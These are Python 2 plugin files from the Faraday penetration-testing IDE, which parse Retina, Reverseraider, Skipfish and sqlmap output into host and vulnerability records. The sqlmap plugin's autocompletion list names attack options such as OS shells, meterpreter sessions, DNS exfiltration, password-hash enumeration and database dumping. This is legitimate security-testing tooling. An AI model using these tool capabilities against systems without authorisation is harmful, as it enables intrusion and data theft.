1 # -*- coding: utf-8 -*-
2
3 '''
4 Faraday Penetration Test IDE - Community Version
5 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
6 See the file 'doc/LICENSE' for the license information
7
8 '''
9 from __future__ import with_statement
10 from plugins import core
11 from model import api
12 import re
13 import os
14 import pprint
15 import sys
16
17 try:
18 import xml.etree.cElementTree as ET
19 import xml.etree.ElementTree as ET_ORIG
20 ETREE_VERSION = ET_ORIG.VERSION
21 except ImportError:
22 import xml.etree.ElementTree as ET
23 ETREE_VERSION = ET.VERSION
24
25 ETREE_VERSION = [int(i) for i in ETREE_VERSION.split(".")]
26
27 current_path = os.path.abspath(os.getcwd())
28
29 __author__ = "Francisco Amato"
30 __copyright__ = "Copyright (c) 2013, Infobyte LLC"
31 __credits__ = ["Francisco Amato"]
32 __license__ = ""
33 __version__ = "1.0.0"
34 __maintainer__ = "Francisco Amato"
35 __email__ = "[email protected]"
36 __status__ = "Development"
37
38
39 class RetinaXmlParser(object):
40 """
41 The objective of this class is to parse an xml file generated by the retina tool.
42
43 TODO: Handle errors.
44 TODO: Test retina output version. Handle what happens if the parser doesn't support it.
45 TODO: Test cases.
46
47 @param retina_xml_filepath A proper xml generated by retina
48 """
49 def __init__(self, xml_output):
50 tree = self.parse_xml(xml_output)
51 if tree:
52 self.items = [data for data in self.get_items(tree)]
53 else:
54 self.items = []
55
56
57 def parse_xml(self, xml_output):
58 """
59 Open and parse an xml file.
60
61 TODO: Write custom parser to just read the nodes that we need instead of
62 reading the whole file.
63
64 @return xml_tree An xml tree instance. None if error.
65 """
66 try:
67 tree = ET.fromstring(xml_output)
68 except SyntaxError, err:
69 print "SyntaxError: %s. %s" % (err, xml_output)
70 return None
71
72 return tree
73
74 def get_items(self, tree):
75 """
76 @return items A list of Host instances
77 """
78 for node in tree.findall("hosts/host"):
79 yield Item(node)
80
81
82
83
84 class Item(object):
85 """
86 An abstract representation of a Item
87
88
89 @param item_node A item_node taken from an retina xml tree
90 """
91 def __init__(self, item_node):
92 self.node = item_node
93 self.ip = self.get_text_from_subnode("ip")
94 self.hostname = "" if self.get_text_from_subnode("dnsName") == "unknown" else self.get_text_from_subnode("dnsName")
95 self.netbiosname = self.get_text_from_subnode("netBIOSName")
96 self.netbiosdomain = self.get_text_from_subnode("netBIOSDomain")
97 self.os = self.get_text_from_subnode("os")
98 self.mac = self.get_text_from_subnode("mac")
99
100 self.vulns=self.getResults(item_node)
101 self.ports={}
102 for v in self.vulns:
103 if not v.port in self.ports:
104 self.ports[v.port] = []
105 self.ports[v.port].append(v)
106
107
108 def getResults(self, tree):
109 """
110 :param tree:
111 """
112 for self.issues in tree.findall("audit"):
113 yield Results(self.issues)
114
115 def get_text_from_subnode(self, subnode_xpath_expr):
116 """
117 Finds a subnode in the host node and the retrieves a value from it.
118
119 @return An attribute value
120 """
121 sub_node = self.node.find(subnode_xpath_expr)
122 if sub_node is not None:
123 return sub_node.text
124
125 return None
126
127 class Results():
128 def __init__(self, issue_node):
129 self.node = issue_node
130 self.name=self.get_text_from_subnode('name')
131
132 self.description=self.get_text_from_subnode('description')
133 self.solution=self.get_text_from_subnode('fixInformation')
134 self.severity=self.get_text_from_subnode('risk')
135 self.cve="" if self.get_text_from_subnode('cve') == 'N/A' else self.get_text_from_subnode('cve')
136 self.cce=self.get_text_from_subnode('cce')
137 self.date=self.get_text_from_subnode('date')
138 self.pciLevel=self.get_text_from_subnode('pciLevel')
139 self.pciReason=self.get_text_from_subnode('pciReason')
140 self.pciPassFail=self.get_text_from_subnode('pciPassFail')
141 self.cvssScore=self.get_text_from_subnode('cvssScore')
142 self.exploit=self.get_text_from_subnode('exploit')
143 self.context=self.get_text_from_subnode('context')
144 val=self.context.split(":")
145 self.port=""
146 self.protocol=""
147 if len(val) == 2:
148 if val[0] in ['TCP','UDP']:
149 self.protocol = val[0]
150 self.port = val[1]
151
152 self.desc = self.get_text_from_subnode('description')
153 self.desc += "\nSolution: " +self.solution if self.solution else ""
154 self.desc += "\nExploit: " +self.exploit if self.exploit else ""
155 self.desc += "\ncvssScore: " +self.cvssScore if self.cvssScore else ""
156 self.desc += "\nContext: " +self.context if self.context else ""
157
158 self.ref=[]
159 if self.cve:
160 self.ref=self.cve.split(",")
161
162
163
164 def get_text_from_subnode(self, subnode_xpath_expr):
165 """
166 Finds a subnode in the host node and the retrieves a value from it.
167
168 @return An attribute value
169 """
170 sub_node = self.node.find(subnode_xpath_expr)
171 if sub_node is not None:
172 return sub_node.text
173
174 return None
175
176 class RetinaPlugin(core.PluginBase):
177 """
178 Example plugin to parse retina output.
179 """
180 def __init__(self):
181 core.PluginBase.__init__(self)
182 self.id = "Retina"
183 self.name = "Retina XML Output Plugin"
184 self.plugin_version = "0.0.1"
185 self.version = "Retina Network 5.19.2.2718"
186 self.framework_version = "1.0.0"
187 self.options = None
188 self._current_output = None
189 self._command_regex = re.compile(r'^(sudo retina|\.\/retina).*?')
190
191 global current_path
192 self._output_file_path = os.path.join(self.data_path,
193 "retina_output-%s.xml" % self._rid)
194
195 def parseOutputString(self, output, debug = False):
196
197
198 parser = RetinaXmlParser(output)
199 for item in parser.items:
200 h_id = self.createAndAddHost(item.ip,item.os)
201 hostname=item.hostname if item.hostname else item.ip
202 i_id = self.createAndAddInterface(h_id, item.ip,ipv4_address=item.ip, hostname_resolution=hostname)
203
204 if not item.netbiosname=='N/A':
205 self.createAndAddNoteToHost(h_id,"netBIOSName",item.netbiosname)
206
207 if not item.netbiosdomain=='N/A':
208 self.createAndAddNoteToHost(h_id,"netBIOSDomain",item.netbiosdomain)
209
210 a={}
211 a.iteritems
212 for k,vulns in item.ports.iteritems():
213 if k:
214 for v in vulns:
215 web=False
216 s_id = self.createAndAddServiceToInterface(h_id, i_id, 'unknown',
217 v.protocol.lower(),
218 ports = [str(v.port)],
219 status = "open")
220
221 if v.port in ['80','443'] or re.search("ssl|http",v.name.lower()):
222 web=True
223 else:
224 web=False
225
226 if web:
227 v_id=self.createAndAddVulnWebToService(h_id, s_id,v.name.encode("utf-8"),ref=v.ref,website=hostname,severity=v.severity,desc=v.desc.encode("utf-8"))
228 n_id = self.createAndAddNoteToService(h_id,s_id,"website","")
229 n2_id = self.createAndAddNoteToNote(h_id,s_id,n_id,hostname,"")
230 else:
231 v_id=self.createAndAddVulnToService(h_id, s_id,v.name.encode("utf-8"),ref=v.ref,severity=v.severity,desc=v.desc.encode("utf-8"))
232 else:
233 for v in vulns:
234 v_id=self.createAndAddVulnToHost(h_id,v.name.encode("utf-8"),ref=v.ref,severity=v.severity,desc=v.desc.encode("utf-8"))
235 del parser
236
237 def processCommandString(self, username, current_path, command_string):
238 return None
239
240
241 def setHost(self):
242 pass
243
244
245 def createPlugin():
246 return RetinaPlugin()
247
248 if __name__ == '__main__':
249 parser = RetinaXmlParser(sys.argv[1])
250 for item in parser.items:
251 if item.status == 'up':
252 print item
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6
0 #!/usr/bin/env python
1 # -*- coding: utf-8 -*-
2
3 '''
4 Faraday Penetration Test IDE - Community Version
5 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
6 See the file 'doc/LICENSE' for the license information
7
8 '''
9
10 from __future__ import with_statement
11 from plugins import core
12 from model import api
13 import re
14 import os
15 import pprint
16 import sys
17
18
19 current_path = os.path.abspath(os.getcwd())
20
21 __author__ = "Francisco Amato"
22 __copyright__ = "Copyright (c) 2013, Infobyte LLC"
23 __credits__ = ["Francisco Amato"]
24 __license__ = ""
25 __version__ = "1.0.0"
26 __maintainer__ = "Francisco Amato"
27 __email__ = "[email protected]"
28 __status__ = "Development"
29
30
31 class ReverseraiderParser(object):
32 """
33 The objective of this class is to parse an xml file generated by the reverseraider tool.
34
35 @param reverseraider_filepath A proper simple report generated by reverseraider
36 """
37 def __init__(self, output):
38
39 lists = output.split("\r\n")
40 self.items = []
41
42 if re.search("ReverseRaider domain scanner|Error opening",output) is not None:
43 return
44
45 for line in lists:
46 if line <> "":
47 print "(%s)" % line
48 info = line.split("\t")
49 if info.__len__() > 0:
50 item = {'host' : info[0], 'ip' : info[1]}
51 print "host = %s, ip = %s" % (info[0],info[1])
52 self.items.append(item)
53
54
55
56 class ReverseraiderPlugin(core.PluginBase):
57 """
58 Example plugin to parse reverseraider output.
59 """
60 def __init__(self):
61 core.PluginBase.__init__(self)
62 self.id = "Reverseraider"
63 self.name = "Reverseraider XML Output Plugin"
64 self.plugin_version = "0.0.1"
65 self.version = "0.7.6"
66 self.options = None
67 self._current_output = None
68 self._current_path = None
69 self._command_regex = re.compile(r'^(sudo \.\/reverseraider|\.\/reverseraider).*?')
70 self._completition = {
71 "":"reverseraider -d domain | -r range [options]",
72 "-r":"range of ipv4 or ipv6 addresses, for reverse scanning",
73 "-d":"domain, for wordlist scanning (example google.com)",
74 "-w":"wordlist file (see wordlists directory...)",
75 "-t":"requests timeout in seconds",
76 "-P":"enable numeric permutation on wordlist (default off)",
77 "-D":"nameserver to use (default: resolv.conf)",
78 "-T":"use TCP queries instead of UDP queries",
79 "-R":"don't set the recursion bit on queries",
80 }
81
82 global current_path
83
84
85
86 def canParseCommandString(self, current_input):
87 if self._command_regex.match(current_input.strip()):
88 return True
89 else:
90 return False
91
92
93 def parseOutputString(self, output, debug = False):
94 """
95 This method will discard the output the shell sends, it will read it from
96 the xml where it expects it to be present.
97
98 NOTE: if 'debug' is true then it is being run from a test case and the
99 output being sent is valid.
100 """
101
102 if debug:
103 parser = ReverseraiderParser(output)
104 else:
105
106 parser = ReverseraiderParser(output)
107
108
109 for item in parser.items:
110 h_id = self.createAndAddHost(item['ip'])
111 i_id = self.createAndAddInterface(h_id, item['ip'], ipv4_address=item['ip'])
112
113
114 del parser
115
116 def processCommandString(self, username, current_path, command_string):
117 """
118 """
119 return None
120
121
122
123 def createPlugin():
124 return ReverseraiderPlugin()
125
126 if __name__ == '__main__':
127 parser = ReverseraiderParser(sys.argv[1])
128 for item in parser.items:
129 if item.status == 'up':
130 print item
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6
0 #!/usr/bin/env python
1 # -*- coding: utf-8 -*-
2
3 '''
4 Faraday Penetration Test IDE - Community Version
5 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
6 See the file 'doc/LICENSE' for the license information
7
8 '''
9 from __future__ import with_statement
10 from plugins import core
11 from model import api
12 import re
13 import os
14 import pprint
15 import sys
16 import json
17 import socket
18 import random
19
20
21
22 current_path = os.path.abspath(os.getcwd())
23
24 __author__ = "Nicolas Rodriguez"
25 __copyright__ = "Copyright (c) 2013, Infobyte LLC"
26 __credits__ = ["Nicolas Rodriguez"]
27 __license__ = ""
28 __version__ = "1.0.0"
29 __maintainer__ = "Francisco Amato"
30 __email__ = "[email protected]"
31 __status__ = "Development"
32
33
34 class SkipfishParser(object):
35 """
36 The objective of this class is to parse an xml file generated by the skipfish tool.
37
38 TODO: Handle errors.
39 TODO: Test skipfish output version. Handle what happens if the parser doesn't support it.
40 TODO: Test cases.
41
42 @param skipfish_filepath A proper xml generated by skipfish
43 """
44 def __init__(self, skipfish_filepath):
45 self.filepath = skipfish_filepath
46
47 tmp = open(skipfish_filepath+"/samples.js", "r").read()
48 issues = json.loads(self.extract_data(tmp, "var issue_samples =", "];",
49 lambda x: x.replace("'", '"'), False, False)[1] + "]")
50
51 tmp = open(skipfish_filepath+"/index.html", "r").read()
52 err_msg = json.loads(self.extract_data(tmp, "var issue_desc=", "};",
53 lambda x: self.convert_quotes(x, "'", '"'), False, False)[1] + "}")
54
55 self.err_msg=err_msg
56 self.issues=issues
57
58 def convert_quotes(self,text, quote="'", inside='"'):
59 start = 0
60 while True:
61 pos = text.find(quote, start)
62
63 if pos == -1:
64 break
65
66 ss = text[:pos - 1]
67 quotes = len(ss) - len(ss.replace(inside, ""))
68
69 if quotes % 2 == 0:
70 text = text[:pos - 1] + "\\" + quote + text[pos + 1:]
71
72 start = pos + 1
73 return text
74
75 def extract_data(self, samples, start_tag, end_tag, fn=lambda x: x, include_start_tag=True, include_end_tag=True):
76 start = samples.find(start_tag)
77
78 if start == -1:
79 return (-1, None)
80
81 end = samples.find(end_tag, start + 1)
82
83 if end == -1:
84 return (-2, None)
85
86 data = samples[start:end + len(end_tag)]
87 data = fn(data)
88
89 if not include_start_tag:
90 data = data[len(start_tag) + 1:]
91
92 if not include_end_tag:
93 data = data[:-1 * len(end_tag)]
94
95 return (0, data)
96
97
98 class SkipfishPlugin(core.PluginBase):
99 """
100 Example plugin to parse skipfish output.
101 """
102 def __init__(self):
103 core.PluginBase.__init__(self)
104 self.id = "Skipfish"
105 self.name = "Skipfish XML Output Plugin"
106 self.plugin_version = "0.0.2"
107 self.version = "2.1.5"
108 self.options = None
109 self._current_output = None
110 self.parent = None
111 self._command_regex = re.compile(r'^(sudo skipfish|skipfish|sudo skipfish\.pl|skipfish\.pl|perl skipfish\.pl|\.\/skipfish\.pl|\.\/skipfish).*?')
112 self._completition = {
113 "":"Usage: skipfish [ options ... ] -W wordlist -o output_dir start_url [ start_url2 ... ]",
114 "-A":"user:pass - use specified HTTP authentication credentials",
115 "-F":"host=IP - pretend that 'host' resolves to 'IP'",
116 "-C":"name=val - append a custom cookie to all requests",
117 "-H":"name=val - append a custom HTTP header to all requests",
118 "-b":"(i|f|p) - use headers consistent with MSIE / Firefox / iPhone",
119 "-N":"- do not accept any new cookies",
120 "--auth-form":"url - form authentication URL",
121 "--auth-user":"user - form authentication user",
122 "--auth-pass":"pass - form authentication password",
123 "--auth-verify-url":" --auth-verify-url - URL for in-session detection",
124 "-d":"max_depth - maximum crawl tree depth (16)",
125 "-c":"max_child - maximum children to index per node (512)",
126 "-x":"max_desc - maximum descendants to index per branch (8192)",
127 "-r":"r_limit - max total number of requests to send (100000000)",
128 "-p":"crawl% - node and link crawl probability (100%)",
129 "-q":"hex - repeat probabilistic scan with given seed",
130 "-I":"string - only follow URLs matching 'string'",
131 "-X":"string - exclude URLs matching 'string'",
132 "-K":"string - do not fuzz parameters named 'string'",
133 "-D":"domain - crawl cross-site links to another domain",
134 "-B":"domain - trust, but do not crawl, another domain",
135 "-Z":"- do not descend into 5xx locations",
136 "-O":"- do not submit any forms",
137 "-P":"- do not parse HTML, etc, to find new links",
138 "-o":"dir - write output to specified directory (required)",
139 "-M":"- log warnings about mixed content / non-SSL passwords",
140 "-E":"- log all HTTP/1.0 / HTTP/1.1 caching intent mismatches",
141 "-U":"- log all external URLs and e-mails seen",
142 "-Q":"- completely suppress duplicate nodes in reports",
143 "-u":"- be quiet, disable realtime progress stats",
144 "-v":"- enable runtime logging (to stderr)",
145 "-W":"wordlist - use a specified read-write wordlist (required)",
146 "-S":"wordlist - load a supplemental read-only wordlist",
147 "-L":"- do not auto-learn new keywords for the site",
148 "-Y":"- do not fuzz extensions in directory brute-force",
149 "-R":"age - purge words hit more than 'age' scans ago",
150 "-T":"name=val - add new form auto-fill rule",
151 "-G":"max_guess - maximum number of keyword guesses to keep (256)",
152 "-z":"sigfile - load signatures from this file",
153 "-g":"max_conn - max simultaneous TCP connections, global (40)",
154 "-m":"host_conn - max simultaneous connections, per target IP (10)",
155 "-f":"max_fail - max number of consecutive HTTP errors (100)",
156 "-t":"req_tmout - total request response timeout (20 s)",
157 "-w":"rw_tmout - individual network I/O timeout (10 s)",
158 "-i":"idle_tmout - timeout on idle HTTP connections (10 s)",
159 "-s":"s_limit - response size limit (400000 B)",
160 "-e":"- do not keep binary responses for reporting",
161 "-l":"max_req - max requests per second (0.000000)",
162 "-k":"duration - stop scanning after the given duration h:m:s",
163 "--config":"- load the specified configuration file",
164
165 }
166
167 global current_path
168
169
170 def parseOutputString(self, output, debug = False ):
171 """
172 This method will discard the output the shell sends, it will read it from
173 the xml where it expects it to be present.
174
175 NOTE: if 'debug' is true then it is being run from a test case and the
176 output being sent is valid.
177 """
178
179 # if (re.search("\r\n",output) is None):
180 # self._output_path=output
181
182 if not os.path.exists(self._output_path):
183 return False
184
185 p = SkipfishParser(self._output_path)
186
187 hostc={}
188 port=80
189 for issue in p.issues:
190 request=""
191 response=""
192 for sample in issue["samples"]:
193 if not sample["url"] in hostc:
194 reg = re.search("(http|https|ftp)\://([a-zA-Z0-9\.\-]+(\:[a-zA-Z0-9\.&amp;%\$\-]+)*@)*((25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[1-9])\.(25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[1-9]|0)\.(25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[1-9]|0)\.(25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[0-9])|localhost|([a-zA-Z0-9\-]+\.)*[a-zA-Z0-9\-]+\.(com|edu|gov|int|mil|net|org|biz|arpa|info|name|pro|aero|coop|museum|[a-zA-Z]{2}))[\:]*([0-9]+)*([/]*($|[a-zA-Z0-9\.\,\?\'\\\+&amp;%\$#\=~_\-]+)).*?$", sample["url"])
195
196 protocol = reg.group(1)
197 host = reg.group(4)
198 if reg.group(11) is not None:
199 port = reg.group(11)
200 else:
201 port = 443 if protocol == "https" else 80
202
203 ip = self.resolve(host)
204
205 h_id = self.createAndAddHost(ip)
206 i_id = self.createAndAddInterface(h_id, ip, ipv4_address=ip,hostname_resolution=host)
207 s_id = self.createAndAddServiceToInterface(h_id, i_id, "http",
208 "tcp",
209 ports = [port],
210 status = "open")
211
212 n_id = self.createAndAddNoteToService(h_id,s_id,"website","")
213 n2_id = self.createAndAddNoteToNote(h_id,s_id,n_id,host,"")
214
215
216 hostc[sample["url"]]={'h_id':h_id, 'ip':ip,'port':port,'host':host,'protocol':protocol,
217 'i_id':i_id,'s_id':s_id}
218
219
220 try:
221 request =open("%s/request.dat" % sample["dir"], "r").read()
222 except:
223 pass
224
225 try:
226 response =open("%s/request.dat" % sample["dir"], "r").read()
227 except:
228 pass
229
230 d=hostc[sample["url"]]
231 v_id = self.createAndAddVulnWebToService(d['h_id'], d['s_id'],
232 name=p.err_msg[str(issue["type"])],desc="Extra: " + sample["extra"], website=d['host'],
233 path=sample["url"],severity=issue["severity"])
234
235
236 def resolve(self, host):
237 try:
238 return socket.gethostbyname(host)
239 except:
240 pass
241 return host
242
243 xml_arg_re = re.compile(r"^.*(-o\s*[^\s]+).*$")
244
245 def processCommandString(self, username, current_path, command_string):
246 """
247 Adds the -o parameter to get report of the command string that the
248 user has set.
249 """
250 arg_match = self.xml_arg_re.match(command_string)
251
252 self._output_path = os.path.join(self.data_path,
253 "skipfish_output-%s" % random.uniform(1,10))
254
255 if arg_match is None:
256 return re.sub(r"(^.*?skipfish)",
257 r"\1 -o %s" % self._output_path,
258 command_string,1)
259 else:
260 return re.sub(arg_match.group(1),
261 r"-o %s" % self._output_path,
262 command_string,1)
263
264 def setHost(self):
265 pass
266
267
268 def createPlugin():
269 return SkipfishPlugin()
270
271 if __name__ == '__main__':
272 parser = SkipfishParser(sys.argv[1])
273 for item in parser.items:
274 if item.status == 'up':
275 print item
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6
0 #!/usr/bin/env python
1 # -*- coding: utf-8 -*-
2
3 '''
4 Faraday Penetration Test IDE - Community Version
5 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
6 See the file 'doc/LICENSE' for the license information
7
8 '''
9 from __future__ import with_statement
10 from plugins import core
11 from model import api
12 import re
13 import os
14 import pprint
15 import sys
16 import json
17 import pickle
18 import sqlite3
19 import hashlib
20 import socket
21 import argparse
22 import shlex
23 from BaseHTTPServer import BaseHTTPRequestHandler
24 from StringIO import StringIO
25
26
27 sys.path.append("/usr/share/sqlmap/")
28
29 try:
30 import xml.etree.cElementTree as ET
31 import xml.etree.ElementTree as ET_ORIG
32 ETREE_VERSION = ET_ORIG.VERSION
33 except ImportError:
34 import xml.etree.ElementTree as ET
35 ETREE_VERSION = ET.VERSION
36
37 ETREE_VERSION = [int(i) for i in ETREE_VERSION.split(".")]
38
39 current_path = os.path.abspath(os.getcwd())
40
41 class HASHDB_KEYS:
42 DBMS = "DBMS"
43 CONF_TMP_PATH = "CONF_TMP_PATH"
44 KB_ABS_FILE_PATHS = "KB_ABS_FILE_PATHS"
45 KB_BRUTE_COLUMNS = "KB_BRUTE_COLUMNS"
46 KB_BRUTE_TABLES = "KB_BRUTE_TABLES"
47 KB_CHARS = "KB_CHARS"
48 KB_DYNAMIC_MARKINGS = "KB_DYNAMIC_MARKINGS"
49 KB_INJECTIONS = "KB_INJECTIONS"
50 KB_XP_CMDSHELL_AVAILABLE = "KB_XP_CMDSHELL_AVAILABLE"
51 OS = "OS"
52
53 __author__ = "Francisco Amato"
54 __copyright__ = "Copyright (c) 2013, Infobyte LLC"
55 __credits__ = ["Francisco Amato"]
56 __license__ = ""
57 __version__ = "1.0.0"
58 __maintainer__ = "Francisco Amato"
59 __email__ = "[email protected]"
60 __status__ = "Development"
61
62 UNICODE_ENCODING = "utf8"
63 HASHDB_MILESTONE_VALUE = "cAWxkLYCQT"
64
65
66 class Database(object):
67
68 def __init__(self, database):
69 self.database = database
70
71
72 def connect(self, who="server"):
73 print "Db" + self.database
74 self.connection = sqlite3.connect(self.database, timeout=3, isolation_level=None)
75 self.cursor = self.connection.cursor()
76
77 def disconnect(self):
78 self.cursor.close()
79 self.connection.close()
80
81 def commit(self):
82 self.cursor.commit()
83
84 def execute(self, statement, arguments=None):
85 if arguments:
86 self.cursor.execute(statement, arguments)
87 else:
88 self.cursor.execute(statement)
89
90 if statement.lstrip().upper().startswith("SELECT"):
91 return self.cursor.fetchall()
92
93 class SqlmapPlugin(core.PluginBase):
94 """
95 Example plugin to parse sqlmap output.
96 """
97 def __init__(self):
98 core.PluginBase.__init__(self)
99 self.id = "Sqlmap"
100 self.name = "Sqlmap"
101 self.plugin_version = "0.0.1"
102 self.version = "sqlmap/1.0-dev"
103 self.framework_version = "1.0.0"
104 self._current_output = None
105 self.url = ""
106 self.protocol=""
107 self.hostname=""
108 self.port="80"
109 self.params=""
110 self.fullpath=""
111 self.path=""
112
113 self.db_port = { "MySQL" : 3306, "PostgreSQL":"", "Microsoft SQL Server" : 1433,
114 "Oracle" : 1521, "Firebird" : 3050,"SAP MaxDB":7210, "Sybase" : 5000,
115 "IBM DB2" : 50000, "HSQLDB" :9001}
116 self.ptype = {
117 1: "Unescaped numeric",
118 2: "Single quoted string",
119 3: "LIKE single quoted string",
120 4: "Double quoted string",
121 5: "LIKE double quoted string",
122 }
123
124 self._command_regex = re.compile(r'^(sudo sqlmap|sqlmap|sudo python sqlmap|python sqlmap|\.\/sqlmap).*?')
125
126 global current_path
127 self._output_path = ""
128 self._completition = {
129 "-h,":"Show basic help message and exit",
130 "-hh":"Show advanced help message and exit",
131 "--version":"Show program's version number and exit",
132 "-v":"VERBOSE Verbosity level: 0-6 (default 1)",
133 "-d":"DIRECT Direct connection to the database",
134 "-u":"URL, --url=URL Target URL (e.g. \"www.target.com/vuln.php?id=1\")",
135 "-l":"LOGFILE Parse targets from Burp or WebScarab proxy logs",
136 "-m":"BULKFILE Scan multiple targets enlisted in a given textual file",
137 "-r":"REQUESTFILE Load HTTP request from a file",
138 "-g":"GOOGLEDORK Process Google dork results as target URLs",
139 "-c":"CONFIGFILE Load options from a configuration INI file",
140 "--data":"DATA Data string to be sent through POST",
141 "--param-del":"PDEL Character used for splitting parameter values",
142 "--cookie":"COOKIE HTTP Cookie header",
143 "--cookie-del":"CDEL Character used for splitting cookie values",
144 "--load-cookies":"L.. File containing cookies in Netscape/wget format",
145 "--drop-set-cookie":" Ignore Set-Cookie header from response",
146 "--user-agent":"AGENT HTTP User-Agent header",
147 "--random-agent":"Use randomly selected HTTP User-Agent header",
148 "--host":"HOST HTTP Host header",
149 "--referer":"REFERER HTTP Referer header",
150 "--headers":"HEADERS Extra headers (e.g. \"Accept-Language: fr\\nETag: 123\")",
151 "--auth-type":"AUTH.. HTTP authentication type (Basic, Digest, NTLM or Cert)",
152 "--auth-cred":"AUTH.. HTTP authentication credentials (name:password)",
153 "--auth-cert":"AUTH.. HTTP authentication certificate (key_file,cert_file)",
154 "--proxy":"PROXY Use a proxy to connect to the target URL",
155 "--proxy-cred":"PRO.. Proxy authentication credentials (name:password)",
156 "--proxy-file":"PRO.. Load proxy list from a file",
157 "--ignore-proxy":" Ignore system default proxy settings",
158 "--tor":" Use Tor anonymity network",
159 "--tor-port":"TORPORT Set Tor proxy port other than default",
160 "--tor-type":"TORTYPE Set Tor proxy type (HTTP (default), SOCKS4 or SOCKS5)",
161 "--check-tor":" Check to see if Tor is used properly",
162 "--delay":"DELAY Delay in seconds between each HTTP request",
163 "--timeout":"TIMEOUT Seconds to wait before timeout connection (default 30)",
164 "--retries":"RETRIES Retries when the connection timeouts (default 3)",
165 "--randomize":"RPARAM Randomly change value for given parameter(s)",
166 "--safe-url":"SAFURL URL address to visit frequently during testing",
167 "--safe-freq":"SAFREQ Test requests between two visits to a given safe URL",
168 "--skip-urlencode":" Skip URL encoding of payload data",
169 "--force-ssl":" Force usage of SSL/HTTPS",
170 "--hpp":" Use HTTP parameter pollution",
171 "--eval":"EVALCODE Evaluate provided Python code before the request (e.g.",
172 "-o":"-o Turn on all optimization switches",
173 "--predict-output":" Predict common queries output",
174 "--keep-alive":" Use persistent HTTP(s) connections",
175 "--null-connection":" Retrieve page length without actual HTTP response body",
176 "--threads":"THREADS Max number of concurrent HTTP(s) requests (default 1)",
177 "-p":"-p TESTPARAMETER Testable parameter(s)",
178 "--skip":"SKIP Skip testing for given parameter(s)",
179 "--dbms":"DBMS Force back-end DBMS to this value",
180 "--dbms-cred":"DBMS.. DBMS authentication credentials (user:password)",
181 "--os":"OS Force back-end DBMS operating system to this value",
182 "--invalid-bignum":" Use big numbers for invalidating values",
183 "--invalid-logical":" Use logical operations for invalidating values",
184 "--no-cast":" Turn off payload casting mechanism",
185 "--no-escape":" Turn off string escaping mechanism",
186 "--prefix":"PREFIX Injection payload prefix string",
187 "--suffix":"SUFFIX Injection payload suffix string",
188 "--tamper":"TAMPER Use given script(s) for tampering injection data",
189 "--level":"LEVEL Level of tests to perform (1-5, default 1)",
190 "--risk":"RISK Risk of tests to perform (0-3, default 1)",
191 "--string":"STRING String to match when query is evaluated to True",
192 "--not-string":"NOT.. String to match when query is evaluated to False",
193 "--regexp":"REGEXP Regexp to match when query is evaluated to True",
194 "--code":"CODE HTTP code to match when query is evaluated to True",
195 "--text-only":" Compare pages based only on the textual content",
196 "--titles":"Compare pages based only on their titles",
197 "--technique":"TECH SQL injection techniques to use (default \"BEUSTQ\")",
198 "--time-sec":"TIMESEC Seconds to delay the DBMS response (default 5)",
199 "--union-cols":"UCOLS Range of columns to test for UNION query SQL injection",
200 "--union-char":"UCHAR Character to use for bruteforcing number of columns",
201 "--union-from":"UFROM Table to use in FROM part of UNION query SQL injection",
202 "--dns-domain":"DNS.. Domain name used for DNS exfiltration attack",
203 "--second-order":"S.. Resulting page URL searched for second-order response",
204 "-f,":"-f, --fingerprint Perform an extensive DBMS version fingerprint",
205 "-a,":"-a, --all Retrieve everything",
206 "-b,":"-b, --banner Retrieve DBMS banner",
207 "--current-user":" Retrieve DBMS current user",
208 "--current-db":" Retrieve DBMS current database",
209 "--hostname":" Retrieve DBMS server hostname",
210 "--is-dba":" Detect if the DBMS current user is DBA",
211 "--users":" Enumerate DBMS users",
212 "--passwords":" Enumerate DBMS users password hashes",
213 "--privileges":"Enumerate DBMS users privileges",
214 "--roles":"Enumerate DBMS users roles",
215 "--dbs":"Enumerate DBMS databases",
216 "--tables":"Enumerate DBMS database tables",
217 "--columns":"Enumerate DBMS database table columns",
218 "--schema":"Enumerate DBMS schema",
219 "--count":"Retrieve number of entries for table(s)",
220 "--dump":"Dump DBMS database table entries",
221 "--dump-all":"Dump all DBMS databases tables entries",
222 "--search":"Search column(s), table(s) and/or database name(s)",
223 "--comments":"Retrieve DBMS comments",
224 "-D":"DB DBMS database to enumerate",
225 "-T":"TBL DBMS database table to enumerate",
226 "-C":"COL DBMS database table column to enumerate",
227 "-U":"USER DBMS user to enumerate",
228 "--exclude-sysdbs":"Exclude DBMS system databases when enumerating tables",
229 "--start":"LIMITSTART First query output entry to retrieve",
230 "--stop":"LIMITSTOP Last query output entry to retrieve",
231 "--first":"FIRSTCHAR First query output word character to retrieve",
232 "--last":"LASTCHAR Last query output word character to retrieve",
233 "--sql-query":"QUERY SQL statement to be executed",
234 "--sql-shell":"Prompt for an interactive SQL shell",
235 "--sql-file":"SQLFILE Execute SQL statements from given file(s)",
236 "--common-tables":"Check existence of common tables",
237 "--common-columns":"Check existence of common columns",
238 "User-defined":"User-defined function injection:",
239 "--udf-inject":"Inject custom user-defined functions",
240 "--shared-lib":"SHLIB Local path of the shared library",
241 "--file-read":"RFILE Read a file from the back-end DBMS file system",
242 "--file-write":"WFILE Write a local file on the back-end DBMS file system",
243 "--file-dest":"DFILE Back-end DBMS absolute filepath to write to",
244 "--os-cmd":"OSCMD Execute an operating system command",
245 "--os-shell":"Prompt for an interactive operating system shell",
246 "--os-pwn":"Prompt for an OOB shell, meterpreter or VNC",
247 "--os-smbrelay":"One click prompt for an OOB shell, meterpreter or VNC",
